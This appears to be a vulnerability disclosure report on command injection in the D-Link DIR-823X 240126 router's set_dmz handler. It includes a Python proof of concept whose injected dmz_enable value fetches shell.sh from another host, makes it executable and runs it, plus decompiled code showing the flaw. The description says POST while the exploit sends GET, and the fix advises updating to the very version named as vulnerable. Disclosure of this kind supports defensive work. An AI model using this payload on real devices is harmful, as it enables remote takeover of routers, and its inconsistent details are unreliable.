

CVE Report - Command Injection Vulnerability in D-Link DIR-823X 240126 Routers

Vulnerability Title

Command Injection Vulnerability in D-Link DIR-823X 240126 Router.

Vulnerability Description

D-Link DIR-823X 240126 devices have an OS command injection vulnerability in the goahead binary, which allows remote attackers to execute arbitrary commands via parameter "dmz_enable" in /goform/set_dmz through a POST request.

PoC

```
# coding=gbk
import socket
import base64
import struct

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

print("start")

target = "192.168.0.1"
s.connect(('192.168.0.1', 80))
cmd = "/goform/set_dmz?dmz_enable=`wget${IFS}-P${IFS}/${IFS}http://192.168.0.171:8000/shell.sh;chmod${IFS}777${IFS}/shell.sh;/shell.sh`"
request = f"GET {cmd} HTTP/1.1\r\nHost: {target}\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n"
print(request)
s.send(request.encode('utf-8'))
```

```
response = s.recv(1024)

print(response)
s.close()
```

Cause Analysis

The WebsGetvar function accepts external data and it enters do_system execution, resulting in a command execution vulnerability.

```
__int64 __fastcall sub_42032C(__int64 a1)
{
    char *v2; // x21
    char *v3; // x23
    int v4; // w19
    __int64 v5; // x1
    char nptr[8]; // [xsp+40h] [xbp+40h] BYREF
    char s[64]; // [xsp+48h] [xbp+48h] BYREF
    __int64 v9; // [xsp+88h] [xbp+88h]

    v2 = WebsGetvar(a1, (__int64)"dmz_enable", (__int64) "");
    v3 = WebsGetvar(a1, (__int64)"dmz_host", (__int64) "");
    s_popen("firewall.@portfw[0].numentrys", nptr, 4, "");
    v4 = atoi(nptr);
    if ( !*v2 )
        goto LABEL_2;
    do_system("firewall.@dmz_enable[0].dmz", v2);
}
```

Suggested Fix

It is recommended to update to the version of D-Link DIR-823X 240126 router to fix this vulnerability.